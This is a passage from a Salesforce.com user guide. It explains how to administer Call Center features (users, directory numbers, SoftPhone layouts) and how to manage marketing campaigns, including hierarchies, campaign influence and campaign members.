To remove a user from a call center in Salesforce CRM Call Center:

1. Click Setup ➤ Customize ➤ Call Center ➤ Call Centers.


2. Click the name of the call center from which you want to remove the Salesforce.com user.
3. In the Call Center Users related list, click Manage Call Center Users.
4. Click Remove next to the name of the user that you want to remove from the call center.
To remove multiple users at once, select the Action checkbox next to each user you want to remove and click Remove
Users.

Alternatively, you can change a particular user's call center in the User Edit page:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to the name of the user.
3. Modify the Call Center field as appropriate. You can change the user's call center by clicking the lookup icon ( ) and
choosing a new call center, or you can remove the user from his or her current call center by deleting the call center name
from the field.

See Also:
Setting Up Salesforce CRM Call Center
Managing Call Center Users
Creating a Call Center
Administrator tip sheet: Getting Started with Setting Up Call Centers

1267
Call Center Customizing a Call Center Directory

Customizing a Call Center Directory


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage call center directories: “Manage Call Centers”

Every call center in Salesforce CRM Call Center includes a call center directory that allows users to search for phone numbers
throughout your organization. You can customize call center directories by:

• Adding additional directory numbers, either to a single call center or to all defined call centers in your organization
• Updating phone number search layouts

See Also:
Setting Up Salesforce CRM Call Center
Managing Call Centers
Managing Call Center Users
Administrator tip sheet: Getting Started with Setting Up Call Centers

Adding a Number to a Call Center Directory


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, add, edit, or delete an additional directory number: “Manage Call Centers”

To customize call center directories by adding additional directory numbers, either to a single call center or to all defined call
centers in your organization:

1. Click Setup ➤ Customize ➤ Call Center ➤ Directory Numbers. From this page, you can:

• Click Edit to edit an existing additional directory number.


• Click Del to delete an existing additional directory number.
• Click the name of an existing additional directory number to view its details in the Additional Directory Number Detail
page. From this page you can click Edit to edit the number, click Delete to delete it, or click Clone to quickly create
a new additional directory number with the same information as the existing number.

2. Click New to define a new additional directory number.


3. In the Name field, enter a label that identifies the additional directory number.

1268
Call Center Customizing SoftPhone Layouts

4. In the Phone field, enter the phone number, including any international country codes. Dialing prefixes, such as 9 or 1,
do not need to be included.
5. In the Call Center field, select the call center directory to which you want to add the new directory number. To add
the number to every call center directory in your organization, choose -- Global --.
6. In the Description field, optionally enter text that provides further information about the additional directory number.
7. Click Save to save the number and return to the All Additional Directory Numbers page. Alternatively, click Save & New
to save the number and create another.

Tip: If you have a large number of directory numbers to define, use the Data Loader to create them in one step.

See Also:
Setting Up Salesforce CRM Call Center
Customizing a Call Center Directory
Administrator tip sheet: Getting Started with Setting Up Call Centers

Customizing SoftPhone Layouts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete a SoftPhone layout: “Manage Call Centers”

A SoftPhone is a customizable call control tool that appears in the sidebar of every Salesforce.com page if a user is assigned
to a call center and is working on a machine on which a CTI adapter has been installed. Similar to page layouts, you can design
custom SoftPhone layouts and assign them to Salesforce CRM Call Center users based on their user profile. See the following
for information:

• Designing a Custom SoftPhone Layout


• Assigning a SoftPhone Layout to a User Profile

See Also:
What is Salesforce CRM Call Center?
Setting Up Salesforce CRM Call Center
Managing Call Centers
Overview of Page Layouts and Field-Level Security
Administrator tip sheet: Getting Started with Setting Up Call Centers

1269
Call Center Customizing SoftPhone Layouts

Designing a Custom SoftPhone Layout


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete a SoftPhone layout: “Manage Call Centers”

In a SoftPhone layout you can control the call-related fields that are displayed and the Salesforce.com objects that are searched
for an incoming call. To design a custom SoftPhone layout:

1. Click Setup ➤ Customize ➤ Call Center ➤ SoftPhone Layouts.


2. Click New to create a new SoftPhone layout definition, or click Edit next to the name of an existing layout definition to
view or modify it.
3. In the Name field, enter a label that uniquely identifies your SoftPhone layout definition.
4. In the Select Call Type picklist, choose the type of call for which the currently-displayed SoftPhone layout should
be used. Every SoftPhone layout definition allows you to specify different layouts for inbound, outbound, and internal
calls. These three layouts are grouped together in a single SoftPhone layout definition.
5. In the Display these call-related fields section, click Edit to add, remove, or change the order of fields in
the currently-displayed SoftPhone layout:

• To add a field to the SoftPhone layout, select it in the Available list and click Add.
• To remove a field from the SoftPhone layout, select it in the Selections list and click Remove.
• To change the order of a field in the SoftPhone layout, select it in the Selections list and click Up or Down.

Any changes that you make are automatically updated in the SoftPhone layout preview image on the right side of the page.
To hide the Available and Selections lists, click Collapse.
Note: Phone-related fields that you select in a SoftPhone layout will only appear in a user's SoftPhone if a valid
value for that field is available. For example, if you add a Caller ID field to the layout of an outbound call, Caller
ID will not appear.

6. In the Display these Salesforce.com Objects section, click Add/Remove Objects to add, remove, or change
the order of links to call-related objects.
7. Below the list of selected objects, click Edit next to each If single <Object> found, display row to specify the
fields that should be displayed in the SoftPhone layout if a single record for that object is the only record found. You can
add, remove, or change the order of fields.
8. Configure SoftPhone layouts for any remaining call types in the Select Call Type picklist.
9. Click Save.

See Also:
Setting Up Salesforce CRM Call Center
Assigning a SoftPhone Layout to a User Profile
Administrator tip sheet: Getting Started with Setting Up Call Centers

1270
Call Center Customizing SoftPhone Layouts

Assigning a SoftPhone Layout to a User Profile


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign a SoftPhone layout to a user profile: “Manage Call Centers”

Once you have defined one or more custom SoftPhone layouts, you can assign them to user profiles:

1. Click Setup ➤ Customize ➤ Call Center ➤ SoftPhone Layouts.


2. Click Layout Assignment.
3. For each user profile that appears in the page, select the SoftPhone layout that the profile should use. Profiles are only
listed in this page if they include users that are currently assigned to a call center, or if they have already been assigned a
custom SoftPhone layout.
4. Click Save.

Note: Call center users will see their newly assigned SoftPhone layout the next time they log into Salesforce.com.

See Also:
Setting Up Salesforce CRM Call Center
Customizing SoftPhone Layouts
Administrator tip sheet: Getting Started with Setting Up Call Centers

1271
CAMPAIGNS

Campaigns Overview
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

A campaign is an outbound marketing project that you want to plan, manage, and track within Salesforce.com. It can be a
direct mail program, seminar, print advertisement, email, or other type of marketing initiative. You can organize campaigns
into hierarchies for easy analysis of related marketing tactics.
The Campaigns tab displays a home page that lets you quickly locate and report on campaigns. You can also sort and filter
campaigns using standard and custom list views. In addition, this tab lets you view and edit detailed information on campaigns.
Note: To manage campaigns, users must have the Marketing User checkbox selected on their personal information
page, the appropriate user permissions, and sharing access to the campaign. Other users can only view campaigns and
run campaign reports. See Who has access to campaigns? on page 2317.
In addition, campaigns cannot be disabled for your organization if campaigns are referenced in an Apex script. For
more information, see Force.com Apex Code Overview on page 964.

See Also:
Campaigns Home
Tip sheet: Five Steps for Managing Campaigns
Administrator setup: Campaign Management Implementation Guide

Campaigns Home
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view Campaigns tab: “Read” on campaigns
To view campaigns: “Read” on campaigns
To create campaigns: “Create” on campaigns

Clicking on the Campaigns tab displays the campaigns home page. Any user can access the campaigns home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

1272
Campaigns Campaigns Home

• In the Recent Campaigns section, select an item from the drop-down list to display a brief list of the top campaigns
matching that criteria. From the list, you can click any campaign name to go directly to the campaign detail. Toggle the
Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by
the “Campaigns Tab” search layout defined by your administrator and by your field-level security settings (available in
Enterprise, Unlimited, and Developer Editions only). The Recent Campaigns choices are:

Recent Campaigns Choice Description


Recently Viewed The last ten or twenty-five campaigns you viewed, with the
most recently viewed campaign listed first. This list is derived
from your recent items and includes records owned by you
and other users.
My Active Campaigns The most recent ten or twenty-five campaigns marked as
Active, with the most recently created campaign listed first.
This list only includes records owned by you.

• In the Recent Campaigns section, click New to create a new campaign.


• Under Reports, click any report name to jump to that report.

See Also:
Campaigns Overview
Managing Campaigns
Displaying and Editing Campaigns
Creating Campaigns
Cloning Campaigns
Deleting Campaigns
Managing Campaign Members
Creating Custom List Views

1273
Campaigns Managing Campaigns

Managing Campaigns
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To create campaigns:
“Create” on campaigns
AND
Marketing User checked in your user information

To change campaigns:
“Edit” on campaigns
AND
Marketing User checked in your user information

To use the lead import wizard:


“Edit” on campaigns
AND
Marketing User checked in your user information

AND
“Import Leads”

To use the campaign update wizard:


“Edit” on campaigns
AND
Marketing User checked in your user information

AND
“Import Leads”
AND
“Read” on contacts

Managing campaigns in Salesforce.com involves the five major steps listed below. We recommend you follow these steps to
make your marketing programs and post-campaign analysis more effective.
See the Campaign Management Implementation Guide for additional information.

1. Create the campaign


After determining your marketing strategy, create a campaign to track your efforts. See Creating Campaigns on page 1308.

1274
Campaigns Managing Campaigns

2. Create your target list


Next define who you want to target with your campaign. The method used to create a target list depends on who you are
targeting:

• Rented or Purchased Lists - Simply use the list of names as your target list. We recommend that you do not import
the names into the system yet.
• Existing Contacts, Leads, or Person Account - Run a contact, lead, or person account report in Salesforce.com and
use the Add to Campaign button to associate those records with your campaign. Alternatively, go to a list view of
contacts or leads and use the Add to Campaign button to associate those records with your campaign. Note that person
accounts are included in contact list views and can be added to campaigns from them. See Managing Campaign Members
on page 1288.

3. Execute the campaign


All campaign execution occurs outside of Salesforce.com. It can be online or offline, for example:

• Online - Send email using an email execution vendor.


• Offline - Plan and host a conference; run print or radio advertisements; send direct mail pieces; or host a Web seminar.

4. Track responses
The possible types of campaign responses can be divided into the following groups based on the response tracking mechanism:

• Website Response - Prospects respond by filling in a form on your website. Use Web-to-Lead to set up a jump page
or microsite for the campaign. All responses are created as leads, and if the Web form includes the Campaign field
value, the leads are directly associated to the campaign. You can also include the Member Status field in the form
to automatically mark all submissions with a particular member status. See Capturing Web Leads on page 670.
• Manual Update - Customers and prospects respond via phone or mail. A sales or marketing team member can manually
update the Campaign History for the lead, contact, or person account. See Adding, Editing, or Cloning Individual
Campaign Members on page 1302.
• Mass Update/Offline Response - The third type of response is any response that you track in an offline list, for
example, trade show attendance or email responses from your email vendor. In Salesforce.com, use the Manage Members
page to update the member status of leads, contacts, or person accounts that have been associated with your campaign.
See Editing Multiple Campaign Members. Alternatively, import the offline list into Salesforce.com via the Campaign
Import Wizards. See Importing Campaign Members on page 1304.

5. Analyze campaign effectiveness


The final step is to analyze the effectiveness of the campaign using reports and campaign statistics. See Displaying and
Editing Campaigns on page 1279 for information on calculating statistics. See also Campaign Reports on page 1883.

See Also:
Campaigns FAQ: Who has access to campaigns?
What is a Person Account?

1275
Campaigns Viewing Campaign Lists

Viewing Campaign Lists


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaign lists: “Read” on campaigns
To create campaigns: “Create” on campaigns
AND
Marketing User checked in your user information

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The campaigns list page displays a list of campaigns in your current view. From this page, you can view detailed campaign
information and access other related information. Any user can view a campaign, but only users with the Marketing User
checkbox selected on their personal information page and the appropriate user permissions can create, edit, or delete campaigns.

• Click a campaign name to view the detail. Click Edit to edit a particular campaign. Click Del to delete a campaign. See
Displaying and Editing Campaigns on page 1279.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click New Campaign or select Campaign from the Create New drop-down list in the sidebar to create a campaign. These
options display only if you have the “Create” permission on campaigns. See Creating Campaigns on page 1308.
• Click any column heading to sort the campaigns in ascending order using that column’s information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of campaigns.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

1276
Campaigns Viewing Campaign Hierarchies

Viewing Campaign Hierarchies


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns

A campaign hierarchy allows you to group campaigns together within a specific marketing program or initiative, which enables
you to analyze related marketing efforts more efficiently.
To view the hierarchy for a campaign, click View Hierarchy next to the Campaign Name field on the campaign detail page.
If a campaign is not part of a hierarchy, its corresponding Campaign Hierarchy page shows only the campaign you selected.
A campaign hierarchy shows campaigns that are associated with one another via the Parent Campaign field. A hierarchy
illustrates a relationship between campaigns, such as a grouping of campaigns within a specific marketing tactic. Each campaign
can have only one parent campaign but an unlimited number of sibling campaigns, and a campaign hierarchy can contain a
maximum of five levels or generations. In other words, a campaign hierarchy has a maximum depth of five levels but an
unlimited breadth on each level. Campaign members, such as contacts and leads, can be included on any level.
On the Campaign Hierarchy page, campaigns are indented to show that they are related to the campaigns above them.
Campaigns are listed in descending order based on their hierarchy level. Click any campaign name to open the detail page for
that campaign.
Statistics for an individual campaign are in the Campaign Statistics section of the campaign detail page. Aggregate statistics
for parent and child campaigns are in the Campaign Hierarchy related list. For more information, see Viewing Campaign
Hierarchy Statistics on page 1278.
Note: To ensure accurate reporting, all campaigns in a hierarchy must use the same currency.

See Also:
Setting Up Campaign Hierarchies
Displaying and Editing Campaigns

1277
Campaigns Viewing Campaign Hierarchies

Viewing Campaign Hierarchy Statistics


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To view campaign hierarchies: “Read” on campaigns

Campaign detail pages include a Campaign Hierarchy related list, which displays a parent campaign and all the campaigns
directly below the parent campaign in the campaign hierarchy. You can create a campaign hierarchy by associating campaigns
with one another using theParent Campaign lookup field on the campaign detail page. Click any campaign in the related
list to open the detail page for that campaign.
The Campaign Hierarchy related list provides statistics fields for each campaign in the list as well as the total value for the
parent campaign and all the campaigns below it in the campaign hierarchy. Statistics fields are not visible in the related list
until campaign hierarchies are enabled for your organization. For more information and a list of fields, see Setting Up Campaign
Hierarchies on page 1283.
The Campaign Hierarchy related list shows a maximum of two hierarchy levels: the parent campaign and its child campaigns.
If a child campaign has children, those children do not appear in the related list but their data is included in the campaign
hierarchy statistic field values. The campaign hierarchy statistic fields provide aggregate data regardless of whether you have
sharing rights to view individual campaigns within the hierarchy. However, if you do not have access to a campaign that appears
in the related list, you cannot view its detail page from the link on the related list. To view all the levels in a campaign hierarchy,
click the View Hierarchy link next to the Campaign Name on the campaign detail page.
For more information, see Viewing Campaign Hierarchies on page 1277.

See Also:
Displaying and Editing Campaigns
Campaign Fields

1278
Campaigns Displaying and Editing Campaigns

Displaying and Editing Campaigns


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaign lists: “Read” on campaigns
To change campaigns:
“Edit” on campaigns
AND
Marketing User checked in your user information

Displaying Campaigns
Once you have located a campaign on the campaigns home or list pages, click the campaign name to display detailed
information. You can also select a campaign name from the Campaign History related list of an associated lead, contact,
or person account.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

Editing Campaigns
To update a campaign, click Edit, and then change the fields you want to update. When you have finished, click Save.
You can also click Save & New to save the current campaign and create another.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Creating Campaign Hierarchies


When creating or editing a campaign you can use the Parent Campaign lookup field to assign a parent to your
campaign. In the lookup dialog you can search for an existing campaign or create a new parent campaign. For more
information on configuring campaign hierarchies for your organization, see Setting Up Campaign Hierarchies on page
1283

Tagging Campaigns
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Calculating Campaign Statistics


The campaign detail includes campaign statistic fields, which are updated automatically and include values from all
associated records regardless of whether you have read access to those records. If you have campaign hierarchies enabled,

1279
Campaigns Displaying and Editing Campaigns

the Campaign Hierarchy related list contains aggregate statistics for a parent campaign and all the campaigns below it
in the campaign hierarchy.

Linking Contacts, Leads, or Person Account to Campaigns


Select one of the following options from the Manage Members drop-down button the campaign detail page:

• Add Members - Search to add campaign members from a search.


• Add Members - Import File to add campaign members by importing leads from a comma-delimited text file (.csv).
• Edit Members - Search to view, update, or delete existing campaign members.
• Update & Add Members - Import File to edit campaign member status using an import file.

Advanced Setup
Click Advanced Setup to customize the Member Status values for a campaign. The Member Status values are the
possible responses that a member can have to the campaign, for example, “Sent,” “Responded,” “Attended.” See
Customizing Campaign Setup on page 1281.

Campaign Related Lists


The lower portion of the display provides information related to the campaign including activities, attachments, campaign
members, campaign hierarchies, and the opportunities that resulted from the campaign. The related lists you see are
determined by your personal customization, and by any customization your administrator has made to page layouts or
your permissions to view related data. You can click individual items to display additional detail. Click more at the
bottom of the page or View More below a related list to display more items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

Printing Campaigns
To view a printable display of all information for the campaign, click Printable View on the campaign detail page. Use
your browser’s Print function to print the display.

Sharing
To share a campaign with other users, groups, or roles, click Sharing. See Sharing Campaigns on page 1316.

1280
Campaigns Customizing Campaign Setup

To return to the last list page you viewed, click Back to list at the top of the campaign detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. See Navigating on page 42 for more information.

See Also:
Campaigns FAQ: Who has access to campaigns?
Campaign Fields
Creating Campaigns
Cloning Campaigns
Managing Campaigns
Deleting Campaigns
Searching for Campaigns
Changing the Record Type Field
What is a Person Account?

Customizing Campaign Setup


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To edit member status values:
“Edit” on campaigns
AND
Marketing User checked in your user information

For each campaign, Marketing Users must define campaign Member Status values. These are the statuses that a lead,
contact, or person account may have for a campaign. For example, you might define values of “Planned,” “Sent Invitation,”
“RSVP,” and “Attended” for a conference. If you want to copy the Member Status values from an existing campaign, you
can begin by cloning that campaign.

Tips for Customizing Campaign Setup


• Any user can view campaign advanced setup. Users can edit advanced setup if:
- The Marketing User checkbox is selected in their user information
- They have the “Edit” permission on campaigns
- They're granted at least read/write sharing access on the campaign record

• If you replace member status values, all campaign records are updated regardless of your sharing access to the related
contacts or leads.

1281
Campaigns Customizing Campaign Setup

• Changes to the Responded checkbox don't update the “Responded” value for campaign members with that status. For
example, selecting Responded for a member status called “Attended” does not change the “Responded” value for campaign
members with the “Attended” status. To update the “Responded” value for campaign members:
1. Click Manage Members and choose Edit Members — Search from the drop-down button on a campaign detail page.
2. Search for campaign members with the member status you changed.
3. Select the campaign members you want to update.
4. Select the same member status from Update Status.

Defining Member Status Values


1. Click Advanced Setup on a campaign detail page.
2. Click Edit.
3. Update the existing entries or add new values.
4. Click Add More as needed to add additional entries. You can add up to 50 entries.
5. Select one entry as the “Default” value.
6. Choose which values will be counted as “Responded.” Members with “Responded” values are tallied in the Total
Responses field on the campaign.

Replacing Member Status Values


You can globally replace the Member Status values for each campaign member. For example, you may decide that “Attended”
is a more appropriate value than “Showed Up.”
1. Click Advanced Setup on a campaign detail page.
2. Click Replace in the Member Status Values related list.
3. Enter the value you want to change, and select the new value.
4. Click Save.

See Also:
What is a Person Account?

1282
Campaigns Setting Up Campaign Hierarchies

Setting Up Campaign Hierarchies


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To create a campaign hierarchy: “Create” on campaigns
AND
Marketing User checked in your user information

To set up campaign hierarchies: “Customize Application”

Campaign hierarchies provide a powerful categorization tool that enables you to analyze and report on the health of your
related campaigns. By associating campaigns with one another using a lookup relationship, you can group campaigns within
a specific marketing program or initiative. A hierarchy can contain a maximum of five levels. Each campaign can have only
one parent campaign but an unlimited number of sibling campaigns. By default, the Campaign Hierarchy related list appears
on the campaign detail page but does not contain records until campaign hierarchies are configured for your organization.
To set up campaign hierarchies, add the Parent Campaign field to your campaign page layout and enable the campaign
hierarchy statistics fields.
Note: Depending on your user profile, the campaign hierarchy statistics fields may already be visible.

The campaign hierarchy fields include:

• Total Num Sent in Hierarchy


• Total Expected Revenue in Hierarchy
• Total Budgeted Cost in Hierarchy
• Total Actual Cost in Hierarchy
• Total Leads in Hierarchy
• Total Converted Leads in Hierarchy
• Total Contacts in Hierarchy
• Total Opportunities in Hierarchy
• Total Won Opportunities in Hierarchy
• Total Value Won Opportunities in Hierarchy
• Total Value Opportunities in Hierarchy
• Total Responses in Hierarchy

See Campaign Fields on page 1310 for a description of each field.


The process for making the fields visible depends on your Salesforce.com edition . For Enterprise, Unlimited and Developer
editions, use field-level security. As you make each field visible, Salesforce.com displays the field's value in the Hierarchy
Total section of the Campaign Hierarchy related list. For Professional Edition, add the campaign hierarchy statistic fields to

1283
Campaigns Setting Up Campaign Hierarchies

the campaign page layout; the fields will appear on the page layout and in the Hierarchy Total section of the Campaign
Hierarchy related list.
Note: The campaign hierarchy fields provide aggregate data for a parent campaign and all the campaigns below it in
the campaign hierarchy, regardless of whether a user has sharing rights to a particular campaign within the campaign
hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy fields.
If you do not want users to see aggregate hierarchy data that includes campaigns to which the users do not have access,
you can choose to remove any or all of the campaign hierarchy fields from the Campaign Hierarchy related list. If you
do not add the campaign hierarchy fields to the related list or page layout, you can still access these fields on reports.

Once campaign hierarchies are set up, users can create and assign parent campaigns using Parent Campaign and then view
details about the hierarchy on the Campaign Hierarchy page or the Campaign Hierarchy related list.
Note: All campaigns within a hierarchy must use the same currency.

The Campaign Hierarchy page, accessible from the [view hierarchy] link next to the Campaign Name on the campaign
record, shows all the levels in a hierarchy and the campaigns included in each level. For more information, see Viewing
Campaign Hierarchies on page 1277. The Campaign Hierarchy related list provides aggregate data for the parent campaign
and all the campaigns below it in the hierarchy. For more information see Viewing Campaign Hierarchy Statistics on page
1278.

See Also:
Customizing Campaign Setup
Campaign Fields

1284
Campaigns What is Campaign Influence?

What is Campaign Influence?


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To set up campaign influence: “Customize application”
To view the campaign influence related list: “Read” on campaigns
AND
“Read” on opportunities

To manually add influential campaigns: “Read” on campaigns


AND
“Edit” on opportunities

Because opportunities are usually influenced by more than one campaign, the campaign influence feature allows you to manually
or automatically associate multiple influential campaigns to a single opportunity. You can view influential campaigns from the
Campaign Influence related list on the opportunity detail page. The Primary Campaign Source field on an opportunity
detail page allows you to designate the most influential campaign for that opportunity.
If enabled, automatic association will add influential campaigns to opportunities when the campaign is related to a contact
that is assigned a contact role on the opportunity prior to the opportunity close date. You can specify additional automatic
association criteria, including a campaign influence time frame that limits the amount of time a campaign can influence a new
opportunity after the campaign first associated date and before the opportunity created date. Influential campaigns can also
be added to opportunities manually by clicking the Add Campaign button in the Campaign Influence related list.
Use the Campaigns with Influenced Opportunities campaign report to view opportunities that have been influenced by multiple
campaigns.
Before using the campaign influence feature, you must complete the following:

1. Add the Campaign Influence related list to the opportunities page layout by clicking Setup ➤ Customize ➤ Opportunities
➤ Page Layouts.
Note: The Campaign Influence related list is already added to the opportunities page layout for customers who
signed up for a new Salesforce.com organization after the launch of the Winter '09 release, which occurred in
October 2008.

1285
Campaigns What is Campaign Influence?

2. Set up campaign influence on page 1286.

See Also:
Campaign Fields
Campaign Reports
Managing Page Layouts

Configuring Campaign Influence


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To set up campaign influence: “Customize application”

Setting up Campaign Influence


You can configure influential campaigns to be automatically added to opportunities. When automatic association is enabled,
influential campaigns are added to opportunities when a campaign is related to a contact that is assigned a contact role on an
opportunity prior to the close date of the opportunity. For example, if you have an email campaign with a member who is
assigned a contact role on an open opportunity, the email campaign will be added to the Campaign Influence related list for
that opportunity.
You can set a Campaign Influence Time Frame that specifies the maximum number of days between the campaign first
associated date and the opportunity created date, during which a campaign is considered influential. For example, if you specify
a Campaign Influence Time Frame of 15 days and one of your contacts becomes a member of a campaign on June 1, the
campaign is considered influential to any opportunity that is created and associated with the contact by June 15. Use the
association rules to configure additional criteria that campaigns must meet to be automatically associated to an opportunity.
When automatic association is disabled, users must manually add influential campaigns to opportunities using the Campaign
Influence related list.
To set up automatic association for campaign influence:
1. Click Setup ➤ Customize ➤ Campaigns ➤ Campaign Influence.
2. Select Enabled.
3. In the Campaign Influence Time Frame field, optionally specify the maximum number of days between the campaign
first associated date and the opportunity created date.
Note: Campaigns associated to a contact prior to this time frame will not be considered influential. The maximum
campaign influence time frame is 9,999 days. If you do not want to specify a campaign influence time frame, leave
the Campaign Influence Time Frame field blank.

4. Optionally, define additional filter criteria that must be met in order for a campaign to be automatically associated.
5. Click Save.

1286
Campaigns What is Campaign Influence?

Campaigns will be automatically added to the Campaign Influence related list on opportunities when they meet the criteria
you specified.
To disable automatic association for campaign influence:
1. Click Setup ➤ Customize ➤ Campaigns ➤ Campaign Influence.
2. Select Disabled.
3. Click Save.

See Also:
What is Campaign Influence?
Campaign Reports
Campaign Fields

Using the Campaign Influence Related List


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view the campaign influence related list: “Read” on campaigns
AND
“Read” on opportunities

To manually add influential campaigns: “Read” on campaigns


AND
“Read” and “Edit” on opportunities

Adding, Editing, and Deleting Influential Campaigns


The Campaign Influence related list on an opportunity detail page provides information about campaigns that have influenced
the opportunity. From the Campaign Influence related list, you can add, edit, and delete influential campaigns.
Consider the following information before adding, editing, or deleting influential campaigns:
• Though multiple campaigns can be influential, you can only designate one campaign as the primary campaign source on
the opportunity.
• The campaign you manually designate as the primary campaign source will always display in the Campaign Influence
related list.
• The opportunities fields of the campaign statistics section on a campaign detail page will only be populated for the campaign
designated as the primary campaign source. For example, if you have an email campaign and a telemarketing campaign
that both influenced the same opportunity, and you designated the email campaign as the primary campaign source, the
campaign statistics opportunities fields will only be populated for the email campaign.

1287
Campaigns Managing Campaign Members

• When you select the Primary Campaign Source checkbox, the Primary Campaign Source field on the opportunity
detail page is updated with the name of the primary campaign. It is possible that workflow and Apex rules on opportunities
can be triggered by this change
To add influential campaigns from the Campaign Influence related list:
1. View the detail page of an opportunity.
2. Click Add Campaign in the Campaign Influence related list.
3. Enter a campaign name in the Campaign name field or click the icon to search for a campaign.
4. Optionally select the Primary Campaign Source checkbox to designate the campaign as the primary campaign.
5. Click Save.
You can also configure filter criteria that, when met, will automatically add influential campaigns to opportunities. For example,
you can configure a filter to add only email and telemarketing campaigns.
To edit influential campaigns:
1. View the detail page of an opportunity.
2. Click Edit next to the campaign you want to edit in the Campaign Influence related list.
3. Optionally select or deselect the Primary Campaign Source checkbox.
4. Click Save.
To delete influential campaigns:
1. View the detail page of an opportunity.
2. Click Del next to the campaign you want to delete in the Campaign Influence related list.
3. Click OK.

See Also:
What is Campaign Influence?
Configuring Campaign Influence
Campaign Reports

Managing Campaign Members


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

Campaign members are created from lead, contact, or person account records. Salesforce.com provides a variety of ways in
which you can manage your campaign members. You can add and update up to 50,000 campaign members at a time through
lead, contact, and person account reports; you can search for and add or edit multiple leads and contacts from the Manage
Members page; you can add an unlimited number of leads and contacts using a CSV import file; or you can add members to
a campaign one at a time from contact or lead detail pages.

Adding Campaign Members


You can add new members to a campaign:

1288
Campaigns Managing Campaign Members

• Individually from the Campaign History related list on a contact, lead, or person account detail page
• By searching for contacts and leads from the Manage Members page
• From a campaign, contact, person account, or lead report
• From a list view of existing contacts or leads
• From a CSV import file of new leads
• From a CSV import file of existing members
Note: If a campaign has a campaign member type, you must have access to that campaign member type in order to
add members to the campaign. Otherwise, you can only update existing campaign members.

Editing Campaign Members


You can edit the details of existing campaign members:
• Campaign History related list on a contact, lead, or person account detail page
• From the Campaign Members related list on a campaign detail page
• From the Manage Members page

Updating the Status of Existing Campaign Members


You can update the status of existing campaign members:
• From the Campaign History related list on a contact, lead, or person account detail page
• From the Manage Members page
• From a campaign, contact, person account, or lead report
• From a CSV import file of existing members

Removing Campaign Members


You can remove members of a campaign:
• From the Campaign History related list on a contact, lead, or person account detail page
• From the Campaign Members related list on a campaign detail page
• From the Manage Members page

Example Uses
• Create follow-up campaigns—Search for a custom list view of contacts or leads that is restricted to an earlier campaign
and a certain member status, such as “Attended”. Then add items from the generated list to a follow-up campaign. See
Adding Contacts or Leads from a List View to a Campaign on page 1297.
• Leverage reporting functionality—Customize a standard report or build a new custom report that returns a list of contacts,
person account, or leads that you want to target. With the click of a button, you can add the entire list to a campaign. See
Adding Campaign Members from Reports on page 1295.

See Also:
Campaigns FAQ: How can I add members to my campaigns?
What is a Person Account?

1289
Campaigns Managing Campaign Members

Editing Multiple Campaign Members


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view the Existing Members tab:
“Edit” on campaigns
AND
“Read” on leads or contacts
AND
Marketing User checked in your user information

To update and remove campaign members:


“Edit” on campaigns
AND
“Edit” on leads and contacts
AND
Marketing User checked in your user information

Editing Campaign Members from the Manage Members Page


Note: Before using the Manage Members page, verify that you are using a supported browser.

To update the campaign member status, edit campaign member details, or remove campaign members from the Manage
Members page:
1. Click Manage Members and choose Edit Members - Search from the drop-down button on a campaign detail page or
the Campaign Members related list on a campaign detail page.
2. On the Existing Members subtab, optionally enter filter criteria to find existing members and click Go!.
Note: For campaigns with campaign members created from both leads and contacts, you must have “Read”
